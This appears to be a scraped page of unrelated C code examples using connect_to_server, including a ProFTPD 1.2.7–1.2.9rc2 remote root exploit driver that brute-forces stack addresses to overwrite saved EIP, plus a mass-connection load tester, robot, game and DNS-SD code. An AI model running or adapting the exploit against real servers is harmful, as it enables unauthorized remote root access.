            return EXIT_FAILURE;
        
        write_to_server( serverfd, holder, len );
        // dumpBuff( holder, len );
        
        /*****************************************************/
        /*****************************************************/
        /*  Get results from other side. */
        /*  Other side performed Step 2. */
        /*****************************************************/
        /*****************************************************/
        memset( holder, 0x00, BUFFER_SIZE );
        len = revc_from_server( serverfd, holder, BUFFER_SIZE );
        // dumpBuff( holder, len );
        
        /*****************************************************/
        /*****************************************************/
        /*  Do Step 3 and send to the other side */
        /*****************************************************/
        /*****************************************************/
        step3( holder, BUFFER_SIZE );
        write_to_server( serverfd, holder, len );
        
        /*****************************************************/
        /*****************************************************/
        /*  Get bytes from other side and do Step 5 */
        /*****************************************************/
        /*****************************************************/
        memset( holder, 0x00, BUFFER_SIZE );
        len = revc_from_server( serverfd, holder, BUFFER_SIZE );
        // dumpBuff( holder, len );
        
        step5( holder, len );
        
        disconnect_from_server( serverfd );
    }
    else    // we are in server mode, other side will send us data first
    {
        int listenfd = listen_server();
        /*if ( listenfd == 1 )
            return EXIT_FAILURE;
        TODO: error checking
        */
        
        char input_string[ 256 ];
        printf( "Enter a shared secret: " );
        readLine( input_string, 256 );
        // TESTCODE: strcpy( input_string, "testme" );
        secret = binEncode( input_string, strlen( input_string ) );
        
        int len = revc_from_server( listenfd, holder, BUFFER_SIZE );
        // dumpBuff( holder, BUFFER_SIZE);
        
        /*****************************************************/
        /*****************************************************/
        /*  Do Step 2 and send to other side */
        /*****************************************************/
        /*****************************************************/
        len = step2( holder, BUFFER_SIZE  );
        write_to_server( listenfd, holder, len );

        len = revc_from_server( listenfd, holder, BUFFER_SIZE );
        // dumpBuff( holder, len );
        
        /*****************************************************/
        /*****************************************************/
        /*  Do Step 4 and send to other side */
        /*****************************************************/
        /*****************************************************/
        len = step4( holder, BUFFER_SIZE );
        write_to_server( listenfd, holder, len );
        
        disconnect_from_server( listenfd );
    }
    
    
    if ( match == 1 )
        printf( "Secrets match\n" );
    else
        printf( "Secrets do not match\n");
    
    cleanup();
    return EXIT_SUCCESS;
}
示例#13
0
int main(int argc,char **argv)
{
int sleepMode=0;
char c;
unsigned int stackStartAddr=STACK_START;

if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
switch (c) {
case 't':
server=optarg;
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localIP=optarg;
break;
case 's':
sleepMode=1;
break;
case 'U':
strncpy(uploadPath,optarg,SIZE);
break;
case 'P':
ftpPort=atoi(optarg);
break;
case 'S':
stackStartAddr=strtoul(optarg, NULL, 16);
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || localIP==NULL)
usage(argv[0]);

printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
printf(" by Haggis ([email protected])\n");

doris_chroot_breaker();
for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {

if(check_for_linefeed()==FAILURE)
continue;

retAddr=stackWriteAddr+200; // good enough for show business

if((controlSock=connect_to_server(ftpPort))==FAILURE) {
perror("\n\nFailing to connect to remote host\n");
exit(1);
}

if(login_to_server()==FAILURE) {
close(controlSock);
printf("\nERROR: Login failed.\n");
exit(1);
}

if(set_passive_mode(UPLOAD)==FAILURE)
goto err;
if(set_ascii_mode()==FAILURE)
goto err;
if(set_path_and_filename()==FAILURE)
goto err;

// create the buffer containing RET for this
// brute-force iteration
create_exploit_buffer();

if(upload_file()==FAILURE)
goto err;
close(controlSock);

// Connect again, then login, set ASCII mode and download the exploit file.
// This will trigger the overflow; as a result, we've
// corrupted the memory pool of this session and when we
// download the file again, the stack area will be overwritten
// and we control the saved EIP.

if((controlSock=connect_to_server(ftpPort))<0) {
perror("\nFailed to connect to remote host\n");
exit(1);
}

login_to_server(user,pass);
set_path_and_filename();
if(set_ascii_mode()==FAILURE)
goto err;
if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(sleepMode)
sleep(10);
if(download_file(NORMAL_DOWNLOAD)==FAILURE)
goto err;

// Finally, read the file again. This will trigger the stack
// overwrite (NOT the overflow, that happened earlier). We could
// control EIP at this point and r00t may be only heartbeat away...

if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
goto err;
err: 
close(controlSock);
}

// This is only reached if the bruteforce fails.
// delete the exploit files here

printf("\n\nNo r00t for you today I'm afraid.\n");
exit(1);
}
示例#14
0
int main(int argc, char *argv[])
{
    long portno;
    int i, con_count=1;
    time_t t1,t2,t3,t4;
    char wbuffer[256];
    int connlist[1024*65];
    int result[1024*65];
    struct hostent *server;
    struct sockaddr_in serv_addr;

    INIT();

    if (argc != 4) {
        fprintf(stderr,"Usage:\n\t%s hostname port clients\n\n", argv[0]);
        exit(0);
    }

    con_count = atol(argv[3]);
    if (con_count<1) con_count=1;
    if (con_count>1024*65) con_count=1024*65;

    portno = atol(argv[2]);
    if (portno<1l || portno>0xFFFFl) {
        fprintf(stderr, "ERROR, invalid port\n");
        exit(0);
    }

    server = gethostbyname(argv[1]);
    if (server == NULL) {
        fprintf(stderr, "ERROR, no such host\n");
        exit(0);
    }

    memset(&serv_addr, 0, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    memcpy(server->h_addr, &serv_addr.sin_addr.s_addr, server->h_length);
    serv_addr.sin_port = htons((short)portno);

    sprintf(wbuffer, "GET / HTTP/1.0\r\n\r\n");

    t1 = time(0);
    for (i=0;i<con_count;i++) {
        result[i] = connlist[i] = connect_to_server(&serv_addr);
    }
    t2 = time(0);
    for (i=0;i<con_count;i++) {
        if (result[i]>=0) {
            result[i] = send_to_server(connlist[i], wbuffer);
        }
    }
    t3 = time(0);
    for (i=0;i<con_count;i++) {
        if (result[i]>=0) {
            result[i] = read_from_server(connlist[i]);
        }
    }
    t4 = time(0);

    printf("\n");
    printf("conn:  %.0lf\n", difftime(t2,t1));
    printf("write: %.0lf\n", difftime(t3,t2));
    printf("read:  %.0lf\n", difftime(t4,t3));

    for (i=-10;i<1000;i++) {
        int j,cnt=0;
        for(j=0;j<con_count;j++) {
            if (result[j]==i) cnt++;
        }
        if (cnt>0) {
            printf("%5i\t%7u\n", i, cnt);
        }
    }

    return 0;
}
示例#15
0
int ProcessSearchProductSimpleInfo(PRODUCTID_T InQuery, RES_SEARCH_PRODUCT_SIMPLEINFO_T *ProductInfo)
{
	int	SocketFD;
	int	ErrorCode = NO_ERROR;
	int	len = 0, idx = 0;
	struct timeval tmv;
	fd_set readset;

	char	MsgID;
	char	ret_stat;
	int	ReadSize = 0;
	char	SendBuff[MIN_BUFF_SIZE+1];
	char	ReadBuff[MIN_BUFF_SIZE+1];

	memset(SendBuff, 0, MIN_BUFF_SIZE+1);

	ReadSize = USERID_SIZE + PRODUCTID_SIZE + DEVICE_SIZE + UUID_SIZE + 1;

	MsgID = MSG_SEARCH_PRODUCT_SIMPLEINFO;
	memcpy(SendBuff+idx, &MsgID, sizeof(MsgID));
	idx += sizeof(MsgID);

	memcpy(SendBuff+idx, InQuery.ProductID, PRODUCTID_SIZE);
	idx += PRODUCTID_SIZE;

	if((SocketFD = connect_to_server(SERVER_IP, SERVER_PORT)) < 0)	{
		printLog(HEAD, "Socket Connection Error.....\n");
		ErrorCode = SOCKET_WRITE_ERROR;
		return	ErrorCode;
	}

	if((len = writen(SocketFD, SendBuff, idx)) != idx)	{
		printLog(HEAD, "Write Error...\n");
		ErrorCode = SOCKET_WRITE_ERROR;
		return	ErrorCode;
	}

	tmv.tv_sec = READ_TIMEOUT;
	tmv.tv_usec = 0;

	FD_ZERO(&readset);
	FD_SET(SocketFD, &readset);

	if (select(SocketFD+1, &readset, NULL, NULL, &tmv) < 0) {
		printLog(HEAD, "select error\n");
		ErrorCode = SOCKET_READ_ERROR;
		close(SocketFD);
		return	ErrorCode;
	}
	if (!FD_ISSET(SocketFD, &readset)) {
		printLog(HEAD, "%d sec time out\n", READ_TIMEOUT);
		ErrorCode = READ_TIMEOUT_ERROR;
		close(SocketFD);
		return	ErrorCode;
	}

	if((len = readn(SocketFD, &MsgID, sizeof(MsgID))) != sizeof(MsgID))	{
		printLog(HEAD, "Read Error...\n");
		ErrorCode = SOCKET_READ_ERROR;
		close(SocketFD);
		return	ErrorCode;
	}

	if(MsgID == MSG_FAIL)	{
		if((len = readn(SocketFD, &ret_stat, sizeof(ret_stat))) != sizeof(ret_stat))	{
			printLog(HEAD, "Read Error...\n");
			ErrorCode = SOCKET_READ_ERROR;
			close(SocketFD);
			return	ErrorCode;
		}
		ErrorCode = ret_stat;
	}
	else	{
		idx = 0;
		memset(ReadBuff, 0, MIN_BUFF_SIZE+1);
		if((len = readn(SocketFD, ReadBuff, ReadSize)) != (ReadSize))	{
			printLog(HEAD, "Read Error...\n");
			ErrorCode = SOCKET_READ_ERROR;
			close(SocketFD);
			return	ErrorCode;
		}

//		printLog(HEAD, "DEBUG::Buf(%s)\n", ReadBuff);
		memcpy(ProductInfo->ProductID, ReadBuff+idx, PRODUCTID_SIZE);
		idx += PRODUCTID_SIZE;
		memcpy(ProductInfo->UserID, ReadBuff+idx, USERID_SIZE);
		idx += USERID_SIZE;
		memcpy(ProductInfo->DeviceType, ReadBuff+idx, DEVICE_SIZE);
		idx += DEVICE_SIZE;
		memcpy(ProductInfo->UUID, ReadBuff+idx, UUID_SIZE);
		idx += UUID_SIZE;
		ProductInfo->Status = ReadBuff[idx];
		printLog(HEAD, "ProductID(%s)USerID(%s)DEviceType(%s)UUID(%s)Status(%c)\n", 
				ProductInfo->ProductID, ProductInfo->UserID, ProductInfo->DeviceType, 
				ProductInfo->UUID, ProductInfo->Status); 
		idx++;
	}

	close(SocketFD);

	return	ErrorCode;
}
示例#16
0
int main(){

    //VARIABLE INITIALIZATION
    
    //Networking
    char message[24];
    
    //Line Following
    char c;
    float kp = 0.80;
    float ki = 0.0;
    float kd = 0.0;
    int i;
    int leftCheck;
    int frontCheck;
    int rightCheck;
    bool left, front, right;
    
    int whiteTotal, prevWhiteLocation, whiteLocation;
    //int motorOne, motorTwo;
    
    double whiteRatio;
    double prevRatio;
    double derivWhite;
    double integWhite;
    
    //Maze
    signed int leftSensor;
    signed int rightSensor;

    int whiteWall;
    bool noLeftWall, noRightWall, noWallAhead;
    int THRESHOLD = 250;
    int totalWidth;
    signed int leftMotor, rightMotor;
    
    //Primary Initialization
    init(1);
    
    //Networking Section
    
   // Send Signal to open gate
    connect_to_server("130.195.6.196", 1024);
    send_to_server("Please");
    receive_from_server(message);
    send_to_server(message);
    
    //Line Following Section
    set_motor(1, 43);
    set_motor(2, -40);
    Sleep (5,0);
    //Loop runs until both sensors sense walls (start of maze)
    while((read_analog(0) < THRESHOLD) || (read_analog(1) < THRESHOLD)){
        
        //Set variables
        left = false;
        front = false;
        right = false;
        whiteTotal = 0;
        leftCheck = 0;
        frontCheck = 0;
        rightCheck = 0;
        
        //Take readings
        take_picture();
        
        for(i = 0; i < 240; i++){
        	c = get_pixel(40, i, 3);
		if(c > 120){
        		whiteTotal++;
			whiteLocation = whiteLocation + (i-120);
        	}
    	}
    		
    	for(i = 60; i < 70; i++){
    		c = get_pixel(i, 10, 3);
    		if(c > 120){
    			leftCheck++;
    		}
    	}
    		
    	for(i = 60; i < 70; i++){
    		c = get_pixel(i, 230, 3);
    		if(c > 120){
    			rightCheck++;
    		}
    	}
        
        for(i = 30; i < 210; i++){
        	c = get_pixel(160, i, 3);
        	if(c > 120){
                	frontCheck++;
            	}
        }
        
        if(leftCheck > 3){
        	left = true;
        }
        if(frontCheck > 10){
        	front = true;
        }
        if(rightCheck > 5){
        	right = true;
        }
        
        if(left){
            set_motor(1, 50);
            set_motor(2, 0);
            derivWhite = 0.0;
            integWhite = 0.0;
            Sleep(0, 500000);                            //Left Sleep
        }
        else if(front && right){
            set_motor(1, 50);
            set_motor(2, -50);
            derivWhite = 0.0;
            integWhite = 0.0;
            Sleep(0, 500000);                           //Front Sleep
        }
        else if(right){
            set_motor(1, 0);
            set_motor(2, -50);
            derivWhite = 0.0;
            integWhite = 0.0;
            Sleep(0, 500000);                           //Right Sleep
        }
        else if(whiteTotal < 1){
            set_motor(1, -50);
            set_motor(2, -50);
            derivWhite = 0.0;
            integWhite = 0.0;
            Sleep(0, 300000);                           //Turn around Sleep
        }
        else{
        	derivWhite = ((double)whiteLocation - (double)prevWhiteLocation)/0.01;
		integWhite = integWhite + ((double)whiteLocation * 0.01);
		whiteLocation = whiteLocation/whiteTotal;
		
		 set_motor(1, ((int) ((-(whiteLocation*40/120)*kp+kd*derivWhite)+40)));
		 set_motor(2, -((int) (((whiteLocation*40/120)*kp+kd*derivWhite)+40)));
		
		// motorOne = (-( ( (whiteLocation*1/3)*kp) + (derivWhite * kd) + (integWhite * ki) + 40))
		// motorTwo = (((whiteLocation*1/3)*kp)+(derivWhite * kd) + (integWhite * ki) + 40)
		// set_motor(1, motorOne);
		// set_motor(2, -motorTwo);
		
		//set_motor(1, ((int)(-( ( (whiteLocation*1/3)*kp) + (derivWhite * kd) + (integWhite * ki) + 40))));
		//set_motor(2, -((int) (((whiteLocation*1/3)*kp)+(derivWhite * kd) + (integWhite * ki) + 40)));
			      
		prevWhiteLocation = whiteLocation;
        	Sleep(0,1000);
        }
    }
    
    while(true){
		 whiteWall = 0;
        //returns true if there isnt a wall
	noLeftWall =false;
	noRightWall = false;
	noWallAhead = false;

	//get data from sensors
        leftSensor = read_analog(0);
	rightSensor = read_analog(1);
	//printf("left sensor: %d\nright sensor: %d\n", leftSensor, rightSensor);
	//get data from camera
	take_picture();

	for(int i = 120; i<128; i++){

	    c = get_pixel(300,i, 3);
 	    if(c>120){                                    //change white threshold
            	whiteWall++;
            }
    	}
    	
	printf("whiteWall: %d\n", whiteWall);
	if(whiteWall < 5){                                 //Change threshold if theres problems
	    noWallAhead = true; //rename
	  //  printf("No wall ahead!!!!!!!!!\n\n\n");
	}
	

	if(leftSensor<THRESHOLD){
	     noLeftWall = true;
	}
	if(rightSensor<THRESHOLD){
	     noRightWall = true;
	}
	if(noRightWall){
	   set_motor(1, 32);
	    set_motor(2, -30);
	    Sleep(0, 300000);

	    set_motor(1, 37);//right motor
	    set_motor(2, -67);//left motor//CHANGE THRESHOLD
	    Sleep(0,900000);//CHANGE THRESHOLD
	    printf("turning right\n");
	}
	else if(noWallAhead){				//stay in the center of the maze
	    rightMotor = (leftSensor/10*1.1);      //change threshold
	    leftMotor = -(rightSensor/10);
	    set_motor(1, rightMotor);
	    set_motor(2,leftMotor);
	    
	    Sleep(0,1);
	    //rotate back to centre
	    leftMotor = -(leftSensor/10);      //change threshold
	    rightMotor = (rightSensor/10*1.1);
	    set_motor(1, rightMotor);
	    set_motor(2, leftMotor);
	    printf("forwarsdgsdjksdgr\n");
	    Sleep(0, 1);
	}
	else if(noLeftWall){
	    set_motor(1, 40);
	    set_motor(2,-42);

	    Sleep(0,450000);
	    set_motor(1, 66);//right motor
	    set_motor(2, -32);//left motor               //Change thresholds
	    Sleep(0,900000);
	   printf("left left left left\n");
	}
//	else //pop a u turn
/*	{
	   printf("pop a u turn\n");
	    set_motor(1, -50);
	    set_motor(2, -60);                            //bigger so the back doesn't hit the wall
	    Sleep(0,100000);               		  //Change thresholds
	}*/

        
    }   
    
return 0;    
}
示例#17
0
void init_stuff()
{
	int seed;

	Uint32 (*my_timer_pointer) (unsigned int) = my_timer;

	//TODO: process command line options
	chdir(datadir);

	//Initialize all strings
	init_translatables();

#ifdef WRITE_XML
	load_translatables();//Write to the current working directory - hopefully we'll have write rights here...
#endif

	//read the config file
	read_config();

	//Parse command line options
	read_command_line();

	//OK, we have the video mode settings...
	setup_video_mode(full_screen,video_mode);
	//now you may set the video mode using the %<foo> in-game
	video_mode_set=1;

	//Good, we should be in the right working directory - load all translatables from their files
	load_translatables();

	init_video();
	resize_window();
	init_gl_extensions();
#ifdef CAL3D
	create_cal3d_model();
	init_cal3d_model();
#endif
	seed = time (NULL);
	srand (seed);

	cache_system_init(MAX_CACHE_SYSTEM);
	init_texture_cache();
	init_md2_cache();
	init_e3d_cache();
	init_2d_obj_cache();
	load_ignores();
	load_filters();
	load_e3d_list();
	load_e2d_list();
	load_part_list();
	load_knowledge_list();
	load_cursors();
	build_cursors();
	change_cursor(CURSOR_ARROW);
	build_glow_color_table();


	init_actors_lists();
	memset(tile_list, 0, sizeof(tile_list));
	memset(lights_list, 0, sizeof(lights_list));
	init_particles_list();
	memset(actors_defs, 0, sizeof(actors_defs));
	init_actor_defs();

	load_map_tiles();

	//lights setup
	build_global_light_table();
	build_sun_pos_table();
	reset_material();
	init_lights();
	disable_local_lights();
	init_colors();
	clear_error_log();
	clear_conn_log();
	clear_thunders();
	build_rain_table();
	read_bin_cfg();
	build_levels_table();//for some HUD stuff
	init_scale_array();

	if(!no_sound)init_sound();

	//initialize the fonts
	init_fonts();
	check_gl_errors();

	//load the necesary textures
	//font_text=load_texture_cache("./textures/font.bmp",0);
	icons_text=load_texture_cache("./textures/gamebuttons.bmp",0);
	hud_text=load_texture_cache("./textures/gamebuttons2.bmp",0);
	cons_text=load_texture_cache("./textures/console.bmp",255);
	sky_text_1=load_texture_cache("./textures/sky.bmp",70);
	particle_textures[0]=load_texture_cache("./textures/particle0.bmp",0);
	particle_textures[1]=load_texture_cache("./textures/particle1.bmp",0);
	particle_textures[2]=load_texture_cache("./textures/particle2.bmp",0);
	particle_textures[3]=load_texture_cache("./textures/particle3.bmp",0);
	particle_textures[4]=load_texture_cache("./textures/particle4.bmp",0);
	particle_textures[5]=load_texture_cache("./textures/particle5.bmp",0);
	particle_textures[6]=load_texture_cache("./textures/particle6.bmp",0);
	particle_textures[7]=load_texture_cache("./textures/particle7.bmp",0);

	items_text_1=load_texture_cache("./textures/items1.bmp",0);
	items_text_2=load_texture_cache("./textures/items2.bmp",0);
	items_text_3=load_texture_cache("./textures/items3.bmp",0);
	items_text_4=load_texture_cache("./textures/items4.bmp",0);
	items_text_5=load_texture_cache("./textures/items5.bmp",0);
	items_text_6=load_texture_cache("./textures/items6.bmp",0);
	items_text_7=load_texture_cache("./textures/items7.bmp",0);
	items_text_8=load_texture_cache("./textures/items8.bmp",0);
	items_text_9=load_texture_cache("./textures/items9.bmp",0);

	portraits1_tex=load_texture_cache("./textures/portraits1.bmp",0);
	portraits2_tex=load_texture_cache("./textures/portraits2.bmp",0);
	portraits3_tex=load_texture_cache("./textures/portraits3.bmp",0);
	portraits4_tex=load_texture_cache("./textures/portraits4.bmp",0);
	portraits5_tex=load_texture_cache("./textures/portraits5.bmp",0);
	halo_tex=load_texture_cache("./textures/halo.bmp",0);

	if(have_multitexture)ground_detail_text=load_texture_cache("./textures/ground_detail.bmp",255);
	check_gl_errors();
	create_char_error_str[0]=0;
	init_opening_interface();
	init_hud_interface();

	if(SDLNet_Init()<0)
 		{
			char str[120];
			sprintf(str,"%s: %s\n",failed_sdl_net_init,SDLNet_GetError());
			log_error(str);
			SDLNet_Quit();
			SDL_Quit();
			exit(2);
		}

	if(SDL_InitSubSystem(SDL_INIT_TIMER)<0)
		{
 			char str[120];
			sprintf(str, "%s: %s\n", failed_sdl_timer_init,SDL_GetError());
			log_error(str);
			SDL_Quit();
		 	exit(1);
		}
	SDL_SetTimer (1000/(18*4), my_timer_pointer);

	ReadXML("languages/en/Encyclopedia/index.xml");
	read_key_config();
	load_questlog();
	init_buddy();

	//initiate function pointers
	init_attribf();

	//we might want to do this later.
	connect_to_server();
}
DNSServiceErrorType DNSSD_API DNSServiceResolve
    (
    DNSServiceRef                  	*sdRef,
    DNSServiceFlags               flags,
    uint32_t                      interfaceIndex,
    const char                         	*name,
    const char                         	*regtype,
    const char                         	*domain,
    DNSServiceResolveReply        callBack,
    void                               	*context
    )
    {
    char *msg = NULL, *ptr;
    size_t len;
    ipc_msg_hdr *hdr;
    DNSServiceRef sdr;
    DNSServiceErrorType err;

    if (!sdRef) return kDNSServiceErr_BadParam;
    *sdRef = NULL;

	if (!name || !regtype || !domain || !callBack) return kDNSServiceErr_BadParam;

    // calculate total message length
    len = sizeof(flags);
    len += sizeof(interfaceIndex);
    len += strlen(name) + 1;
    len += strlen(regtype) + 1;
    len += strlen(domain) + 1;

    hdr = create_hdr(resolve_request, &len, &ptr, 1);
    if (!hdr) goto error;
    msg = (void *)hdr;

    put_flags(flags, &ptr);
    put_long(interfaceIndex, &ptr);
    put_string(name, &ptr);
    put_string(regtype, &ptr);
    put_string(domain, &ptr);

    sdr = connect_to_server();
    if (!sdr) goto error;
    err = deliver_request(msg, sdr, 1);
    if (err)
        {
        DNSServiceRefDeallocate(sdr);
        return err;
        }
    sdr->op = resolve_request;
    sdr->process_reply = handle_resolve_response;
    sdr->app_callback = callBack;
    sdr->app_context = context;
    *sdRef = sdr;

    return err;

error:
    if (msg) free(msg);
    if (*sdRef) { free(*sdRef);  *sdRef = NULL; }
    return kDNSServiceErr_Unknown;
    }
示例#19
0
int ProcessExchangeUUID(REQ_EXCHANGE_UUID_T InQuery)
{
	int	SocketFD;
	int	len = 0, idx = 0;
	int	ErrorCode = NO_ERROR;
	struct timeval tmv;
	fd_set readset;

	char	MsgID;
	char	ret_stat;
	char	OldUUID[UUID_SIZE+1];
	char	SendBuff[TINY_BUFF_SIZE+1];

	memset(SendBuff, 0, TINY_BUFF_SIZE+1);
	memset(OldUUID, 0, UUID_SIZE+1);

	MsgID = MSG_EXCHANGE_UUID;
	memcpy(SendBuff+idx, &MsgID, sizeof(MsgID));
	idx += sizeof(MsgID);
	memcpy(SendBuff+idx, InQuery.ProductID, PRODUCTID_SIZE);
	idx += PRODUCTID_SIZE;
	memcpy(SendBuff+idx, InQuery.NewUUID, UUID_SIZE);
	idx += UUID_SIZE;

	if((SocketFD = connect_to_server(SERVER_IP, SERVER_PORT)) < 0)	{
		printLog(HEAD, "Socket Connection Error.....\n");
		ErrorCode = SOCKET_WRITE_ERROR;
		return	ErrorCode;
	}

	if((len = writen(SocketFD, SendBuff, idx)) != idx)	{
		printLog(HEAD, "Write Error...\n");
		ErrorCode = SOCKET_WRITE_ERROR;
		return	ErrorCode;
	}

	tmv.tv_sec = READ_TIMEOUT;
	tmv.tv_usec = 0;

	FD_ZERO(&readset);
	FD_SET(SocketFD, &readset);

	if (select(SocketFD+1, &readset, NULL, NULL, &tmv) < 0) {
		printLog(HEAD, "select error\n");
		ErrorCode = SOCKET_READ_ERROR;
		close(SocketFD);
		return  ErrorCode;
	}
	if (!FD_ISSET(SocketFD, &readset)) {
		printLog(HEAD, "%d sec time out\n", READ_TIMEOUT);
		ErrorCode = READ_TIMEOUT_ERROR;
		close(SocketFD);
		return  ErrorCode;
	}

	if((len = readn(SocketFD, &MsgID, sizeof(MsgID))) != sizeof(MsgID))	{
		printLog(HEAD, "Read Error...\n");
		ErrorCode = SOCKET_READ_ERROR;
		close(SocketFD);
		return	ErrorCode;
	}

	if(MsgID == MSG_FAIL)	{
		if((len = readn(SocketFD, &ret_stat, sizeof(ret_stat))) != sizeof(ret_stat))	{
			printLog(HEAD, "Read Error...\n");
			ErrorCode = SOCKET_READ_ERROR;
			close(SocketFD);
			return	ErrorCode;
		}
		ErrorCode = ret_stat;
	}
	else	{
		if((len = readn(SocketFD, OldUUID, UUID_SIZE)) != UUID_SIZE)	{
			printLog(HEAD, "Read Error...\n");
			ErrorCode = SOCKET_READ_ERROR;
			close(SocketFD);
			return	ErrorCode;
		}
		if(strncmp(InQuery.OldUUID, OldUUID, strlen(InQuery.OldUUID)) != 0)	{
			printLog(HEAD, "Missmatch inOldUUID(%s)vs sysUUID(%s) Error...\n", InQuery.OldUUID);
			ErrorCode = ERR_MISSMATCH_UUID;
			close(SocketFD);
			return	ErrorCode;
		}
	}

	close(SocketFD);

	return	ErrorCode;
}
DNSServiceErrorType DNSSD_API DNSServiceRegister
    (
    DNSServiceRef                       *sdRef,
    DNSServiceFlags                     flags,
    uint32_t                            interfaceIndex,
    const char                          *name,
    const char                          *regtype,
    const char                          *domain,
    const char                          *host,
    uint16_t                            PortInNetworkByteOrder,
    uint16_t                            txtLen,
    const void                          *txtRecord,
    DNSServiceRegisterReply             callBack,
    void                                *context
    )
    {
    char *msg = NULL, *ptr;
    size_t len;
    ipc_msg_hdr *hdr;
    DNSServiceRef sdr;
    DNSServiceErrorType err;
    union { uint16_t s; u_char b[2]; } port = { PortInNetworkByteOrder };

    if (!sdRef) return kDNSServiceErr_BadParam;
    *sdRef = NULL;

    if (!name) name = "";
    if (!regtype) return kDNSServiceErr_BadParam;
    if (!domain) domain = "";
    if (!host) host = "";
    if (!txtRecord) txtRecord = (void*)"";

    // auto-name must also have auto-rename
    if (!name[0]  && (flags & kDNSServiceFlagsNoAutoRename))
        return kDNSServiceErr_BadParam;

    // no callback must have auto-rename
    if (!callBack && (flags & kDNSServiceFlagsNoAutoRename)) return kDNSServiceErr_BadParam;

    len = sizeof(DNSServiceFlags);
    len += sizeof(uint32_t);  // interfaceIndex
    len += strlen(name) + strlen(regtype) + strlen(domain) + strlen(host) + 4;
    len += 2 * sizeof(uint16_t);  // port, txtLen
    len += txtLen;

    hdr = create_hdr(reg_service_request, &len, &ptr, 1);
    if (!hdr) goto error;
    if (!callBack) hdr->flags |= IPC_FLAGS_NOREPLY;
    msg = (char *)hdr;
    put_flags(flags, &ptr);
    put_long(interfaceIndex, &ptr);
    put_string(name, &ptr);
    put_string(regtype, &ptr);
    put_string(domain, &ptr);
    put_string(host, &ptr);
    *ptr++ = port.b[0];
    *ptr++ = port.b[1];
    put_short(txtLen, &ptr);
    put_rdata(txtLen, txtRecord, &ptr);

    sdr = connect_to_server();
    if (!sdr) goto error;
    err = deliver_request(msg, sdr, 1);
    if (err)
        {
        DNSServiceRefDeallocate(sdr);
        return err;
        }

    sdr->op = reg_service_request;
    sdr->process_reply = callBack ? handle_regservice_response : NULL;
    sdr->app_callback = callBack;
    sdr->app_context = context;
    *sdRef = sdr;

    return err;

error:
    if (msg) free(msg);
    if (*sdRef) 	{ free(*sdRef);  *sdRef = NULL; }
    return kDNSServiceErr_Unknown;
    }
示例#21
0
/**************************************************************** 
forks a server if it can. returns FALSE is we find we couldn't start
the server.
This is so system-intensive that it's *nix only.  VMS and Windows 
code will come later 
*****************************************************************/ 
bool client_start_server(void)
{
#if !defined(HAVE_WORKING_FORK) && !defined(WIN32_NATIVE)
  /* Can't do much without fork */
  return FALSE;
#else /* HAVE_WORKING_FORK || WIN32_NATIVE */
  char buf[512];
  int connect_tries = 0;
# ifdef WIN32_NATIVE
  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  char savesdir[MAX_LEN_PATH];
  char options[512];
  char cmdline1[512];
  char cmdline2[512];
  char cmdline3[512];
  char logcmdline[512];
  char scriptcmdline[512];
# endif /* WIN32_NATIVE */

  /* only one server (forked from this client) shall be running at a time */
  /* This also resets client_has_hack. */
  client_kill_server(TRUE);
  
  output_window_append(FTC_CLIENT_INFO, NULL, _("Starting server..."));

  /* find a free port */ 
  internal_server_port = find_next_free_port(DEFAULT_SOCK_PORT);

# ifdef HAVE_WORKING_FORK
  server_pid = fork();
  
  if (server_pid == 0) {
    int fd, argc = 0;
    const int max_nargs = 13;
    char *argv[max_nargs + 1], port_buf[32];

    /* inside the child */

    /* Set up the command-line parameters. */
    my_snprintf(port_buf, sizeof(port_buf), "%d", internal_server_port);
    argv[argc++] = "civserver";
    argv[argc++] = "-p";
    argv[argc++] = port_buf;
    argv[argc++] = "-q";
    argv[argc++] = "1";
    argv[argc++] = "-e";
    argv[argc++] = "--saves";
    argv[argc++] = "~/.freeciv/saves";
    argv[argc++] = "--scenarios";
    argv[argc++] = "~/.freeciv/scenarios";
    if (logfile) {
      argv[argc++] = "--debug";
      argv[argc++] = "3";
      argv[argc++] = "--log";
      argv[argc++] = logfile;
    }
    if (scriptfile) {
      argv[argc++] = "--read";
      argv[argc++] = scriptfile;
    }
    argv[argc] = NULL;
    assert(argc <= max_nargs);

    /* avoid terminal spam, but still make server output available */ 
    fclose(stdout);
    fclose(stderr);

    /* FIXME: include the port to avoid duplication? */
    if (logfile) {
      fd = open(logfile, O_WRONLY | O_CREAT | O_APPEND, 0644);

      if (fd != 1) {
        dup2(fd, 1);
      }
      if (fd != 2) {
        dup2(fd, 2);
      }
      fchmod(1, 0644);
    }

    /* If it's still attatched to our terminal, things get messed up, 
      but civserver needs *something* */ 
    fclose(stdin);
    fd = open("/dev/null", O_RDONLY);
    if (fd != 0) {
      dup2(fd, 0);
    }

    /* these won't return on success */ 
    execvp("./ser", argv);
    execvp("./server/civserver", argv);
    execvp("civserver", argv);
    
    /* This line is only reached if civserver cannot be started, 
     * so we kill the forked process.
     * Calling exit here is dangerous due to X11 problems (async replies) */ 
    _exit(1);
  } 
# else /* HAVE_WORKING_FORK */
#  ifdef WIN32_NATIVE
  if (logfile) {
    loghandle = CreateFile(logfile, GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL,
			   OPEN_ALWAYS, 0, NULL);
  }

  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  si.hStdOutput = loghandle;
  si.hStdInput = INVALID_HANDLE_VALUE;
  si.hStdError = loghandle;
  si.dwFlags = STARTF_USESTDHANDLES;

  /* Set up the command-line parameters. */
  logcmdline[0] = 0;
  scriptcmdline[0] = 0;

  if (logfile) {
    my_snprintf(logcmdline, sizeof(logcmdline), " --debug 3 --log %s",
		logfile);
  }
  if (scriptfile) {
    my_snprintf(scriptcmdline, sizeof(scriptcmdline),  " --read %s",
		scriptfile);
  }

  interpret_tilde(savesdir, sizeof(savesdir), "~/.freeciv/saves");

